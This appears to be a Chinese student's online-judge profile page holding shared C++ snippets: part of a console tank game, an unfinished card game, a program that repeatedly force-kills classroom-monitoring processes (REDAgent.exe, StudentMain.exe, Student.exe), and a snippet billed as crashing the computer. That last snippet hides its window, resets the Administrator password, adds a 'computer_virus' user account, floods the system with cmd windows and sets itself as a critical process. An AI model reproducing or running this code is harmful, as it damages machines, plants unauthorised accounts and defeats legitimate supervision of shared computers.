{4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,0,0,0,6,6,6,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,5,5,5,5,5,5,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,4}, {4,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,9,9,9,1,1,0,0,0,0,0,0,0,1,1,1,6,6,6,0,0,0,4}, {4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4} }, }; for(i=0;i<41;i++) for(j=0;j<41;j++) map[i][j]=Map[level-1][i][j]; PrintMap(); //打印地图 } void GameOver(bool home) { int timing=0,color=1; while(1) { if(timing++%30==0) //游戏结束原因为生命值为0 { ColorChoose(color); //颜色选择 if(home) //游戏结束原因为老家被毁,则多打印一行字以提示玩家 { GoToxy(37,19); //主屏幕中心打印 printf("老家被毁!"); } GoToxy(37,20); //主屏幕中心打印 printf("游戏结束!"); GoToxy(100,13); //副屏幕打印 printf("游戏结束"); GoToxy(88,17); printf("请按回车键重新开始!"); GoToxy(88,18); printf("或按 Esc键退出游戏!"); if(++color==8) color=1; } if (GetAsyncKeyState( 0xD )& 0x8000) //回车键 { // system("cls"); //清屏,这里清屏后再次打印框架有一定几率造成框架上移一行的bug,因此选用自建清屏函数 // Frame (); //重新打印游戏框架 score-=500; //分数-500 ClearMainScreen(); //主屏清屏函数,无需再次打印框架 Initialize(); //从本关重新开始 break; } else if(GetAsyncKeyState( 0x1B )& 0x8000) //Esc键退出 exit(0); Sleep(20); } } void NextLevel() { int timing=0,color=1; level++; if(level<=MAX_LEVEL) while(1) { if(timing++%10==0) { ColorChoose(color); //颜色选择 GoToxy(37,20); //主屏幕中心打印 printf("恭喜过关!"); GoToxy(100,13); //副屏幕打印 printf("等待下关"); GoToxy(87,17); printf("请按回车键进入下一关!"); GoToxy(88,18); printf("或按 Esc键退出游戏!"); if(++color==8) color=1; } if (GetAsyncKeyState( 0xD )& 0x8000) //回车键 { GoToxy(88,17); //抹除副屏幕中的提示 printf(" "); GoToxy(88,18); printf(" "); ClearMainScreen(); //主屏清屏函数,无需再次打印框架 Initialize(); //初始化从下一关开始,level已++ break; } else if(GetAsyncKeyState( 0x1B )& 0x8000) //Esc键退出 exit(0); Sleep(20); } else //level>8 通关 while(1) { if(timing++%5==0) { ColorChoose(color); GoToxy(33,20); //主屏幕中心打印 printf("恭喜通过全部关卡!"); GoToxy(100,13); //副屏幕打印 printf("已通全关"); GoToxy(88,17); printf("恭喜通过全部关卡!"); GoToxy(88,19); printf("按 Esc键退出游戏!"); if(++color==8) color=1; } if(GetAsyncKeyState( 0x1B )& 0x8000) //Esc键退出 exit(0); Sleep(10); } } void GameCheak() { //剩余敌人为0且四坦克全部不存活 if(remain_enemy<=0 && !AI_tank[0].alive && !AI_tank[1].alive && !AI_tank[2].alive && !AI_tank[3].alive ) NextLevel(); //进入下一关 if(my_tank.revive>=MAX_LIFE) //我的生命值(复活次数)全部用完 MAX_LIFE GameOver(0); //游戏结束,传入0代表我的复活次数用光(生命值为0)。游戏结束有两种判断,另一种是老家被毁 } void SideScreen () //副屏幕 行(84起,110末,若双字符宽则在108打印最后一个字)列(11上屏末,13下屏初,39下屏末。为美观最好打在38) { // | 第 d 关 | " | |\n" GoToxy(93,2); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED); printf("第 关"); GoToxy(92,5); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE); printf("分 数:"); GoToxy(92,7); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); printf("生 命:"); GoToxy(86,9); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); printf("剩余敌方坦克:"); GoToxy(86,11); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); printf("当前游戏速度: %d",21-speed); GoToxy(86,13); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); printf("当前游戏状态:"); GoToxy(94,19); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED); GoToxy(94,24); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED); printf("帮 助"); GoToxy(86,27); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); printf("方向键 ←↑→↓ 移动"); GoToxy(93,29); printf("x 键 射击"); GoToxy(89,31); printf("+ - 调整游戏速度"); GoToxy(90,33); printf("游戏速度范围1~20"); GoToxy(90,35); printf("回车键 暂停游戏"); GoToxy(90,37); printf("Esc键 退出游戏"); /* printf("帮 助"); //这是第二种详细说明的样式 GoToxy(86,21); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); printf("方向键 ←↑→↓ 移动"); GoToxy(93,23); printf("x 键 射击"); GoToxy(89,25); printf("+ - 调整游戏速度"); GoToxy(90,27); printf("游戏速度范围1~20"); GoToxy(90,29); printf("回车键 暂停游戏"); GoToxy(90,31); printf("Esc键 退出游戏"); GoToxy(86,33); printf("敌方坦克全部消灭则过关"); GoToxy(87,34); printf("己方坦克生命值为0 或"); GoToxy(86,35); printf("正下方的老家被毁则失败"); GoToxy(86,36); printf("己坦克与敌坦克子弹碰撞"); GoToxy(87,37); printf("则抵消,敌坦克间子弹碰"); GoToxy(86,38); printf("撞不抵消且可穿过敌坦克");*/ } void Initialize() //初始化 { remain_enemy=16; my_tank.revive=0; //我的坦克复活次数为0 position=0; bul_num=0; GetMap(); BuildMyTank( &my_tank ); for(int i=0;i<12;i++) //子弹初始化 { bullet [i].exist=0; bullet [i].initial=0; } for(int i=0;i<=3;i++) //AI坦克初始化 { AI_tank [i].revive=0; AI_tank [i].alive=0; //初始化坦克全是不存活的,BuildAITank()会建立重新建立不存活的坦克 AI_tank [i].stop=0; AI_tank [i].num=i; AI_tank [i].my=0; AI_tank [i].CD=0; } GoToxy(97,2); //在副屏幕上关卡数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); printf("%d",level); GoToxy(102,5); //在副屏幕上打印分数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_RED|FOREGROUND_BLUE); printf("%d ",score); GoToxy(102,7); //在副屏幕打印我的剩余生命值 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); printf("%d", MAX_LIFE-my_tank.revive); GoToxy(102,9); //在副屏幕上打印剩余坦克数 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); printf("%d ",remain_enemy); GoToxy(100,13); //在副屏幕上打印状态 SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE|FOREGROUND_GREEN); printf("正在游戏"); }
卡牌对决(半成品)
#include<bits/stdc++.h> #include<windows.h> #include<conio.h> using namespace std; char ready='n'; struct card{ string name,buff; int attack,defense,agility; }cards[15]; void generate(){ srand(time(0)); cout<<"\n以下是全部卡牌:\n"; string names[15]={"诺兹多姆","耐萨里奥","玛里苟斯","阿莱克斯塔萨","伊瑟拉", "克苏恩","尤格萨隆","亚煞极","恩佐斯","萨拉塔斯"}; for(int i=0;i<10;i++){ cards[i].name=names[i]; cards[i].buff="无"; cards[i].attack=(rand()%6+1)*1000; cards[i].defense=(rand()%6+1)*1000; cards[i].agility=(rand()%6+1)*1000; cout<<"名称:"<<cards[i].name<<" 攻击力:"<<cards[i].attack<<" 防御力:"<<cards[i].defense<<" 敏捷度:"<<cards[i].agility<<" buff:"<<cards[i].buff<<"\n"; Sleep(100); } } int main(){ cout<<"~~~~~~~~~~~~~~~~~~~~欢迎来到卡牌对决~~~~~~~~~~~~~~~~~~~~"; Sleep(100); cout<<"\n游戏规则如下:"; Sleep(100); cout<<"\n 1.双方初始血量为50000,初始卡牌数量为3"; Sleep(100); cout<<"\n 2.每回合双方各出一张卡牌,进行对决"; Sleep(100); cout<<"\n 3.敏捷度高的卡牌率先发起攻击,\n 造成伤害为该卡牌攻击力减对方卡牌防御力,小于0则无伤害,\n 随后敌方卡牌发起攻击,造成伤害同理"; Sleep(100); cout<<"\n 4.每回合后若一方血量等于零,游戏结束,否则双方随机抽取1张卡牌"; Sleep(100); cout<<"\n 5.每回合后可能会触发魔法泉,对卡牌造成随机buff "; Sleep(100); cout<<"\n 6.buff分为两种,\n 光之祝愿可以使该卡牌下一回合前任意属性增加500,上限10000,\n 混沌诅咒可以使该卡牌下一回合前任意属性减少500,下限0"; Sleep(1000); cout<<"\n空格键继续\n"; while(ready!=' '){ ready=getch(); } generate(); return 0; }
全反击
#include <bits/stdc++.h> #include <windows.h> using namespace std; void movexy(short x, short y){ COORD position={x, y}; HANDLE hOut=GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleCursorPosition(hOut, position); } int main(){ movexy(37, 7); cout<<"反电子教室系统"<<endl; cout<<endl; cout<<" 目前可以反击:"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛多媒体网络教室 - 输入 k-rs即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域电子教室 - 输入 k-jy即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡电子教室 - 输入 k-yk即可反击"<<endl; SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); cout<<" 如果在开启本程序后关闭本程序,"<<endl; cout<<" 本次反击将无效!"<<endl; cout<<" input >>> "; string s; cin>>s; if(s=="k-rs"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED); cout<<" 红蜘蛛反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im REDAgent.exe"); system("cls"); } } if(s=="k-jy"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); cout<<" 极域反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1) { system("taskkill /f /t /im StudentMain.exe"); system("cls"); } } if(s=="k-yk"){ system("cls"); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12); cout<<" 伽卡他卡反击系统启动成功"<<endl; Sleep(1000); SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7); while(1){ system("taskkill /f /t /im Student.exe"); system("cls"); } } return 0; }
让你的电脑死机的神奇c++代码
#include <bits/stdc++.h> #include <windows.h> #include <winternl.h> using namespace std; void HideWindow() { HWND hwnd; hwnd=FindWindow("ConsoleWindowClass",NULL); if(hwnd) ShowWindow(hwnd,SW_HIDE); return; } int main() { HideWindow(); int x=GetSystemMetrics(SM_CXSCREEN); int y=GetSystemMetrics(SM_CYSCREEN); system("net user Administator 123456"); system("net user computer_virus computer_virus /add"); for(unsigned long long i = 1; i <= 500; i++) { system("start cmd"); for(int i=1;i<=100;i++) { SetCursorPos(rand()%y,rand()%x); } } typedef NTSTATUS(WINAPI *RtlSetProcessIsCritical) (BOOLEAN, PBOOLEAN, BOOLEAN); typedef BOOL(WINAPI *RtlAdjustPrivilege) (ULONG, BOOL, BOOL, PBOOLEAN); RtlAdjustPrivilege AdjustPrivilege; RtlSetProcessIsCritical SetCriticalProcess; HANDLE ntdll = LoadLibrary(TEXT("ntdll.dll")); AdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress((HINSTANCE)ntdll, "RtlAdjustPrivilege"); SetCriticalProcess = (RtlSetProcessIsCritical)GetProcAddress((HINSTANCE)ntdll, "RtlSetProcessIsCritical"); BOOLEAN b; AdjustPrivilege(20UL, TRUE, FALSE, &b); SetCriticalProcess(TRUE, NULL, FALSE); return 0; }
-
通过的题目
-
最近活动
题目标签
- 初窥门径
- 24
- 分支结构
- 13
- GESP二级
- 12
- 顺序结构
- 10
- 循环嵌套
- 10
- 循环结构
- 7
- 略有小成
- 7
- GESP一级
- 5
- 蓝桥杯
- 4
- 驾轻就熟
- 3
- 202306
- 2
- 模拟
- 2
- GESP
- 2
- 202309
- 1
- 其他
- 1
- 位运算
- 1
- while循环
- 1
- 数论
- 1
- 循环
- 1
- 电子学会一级
- 1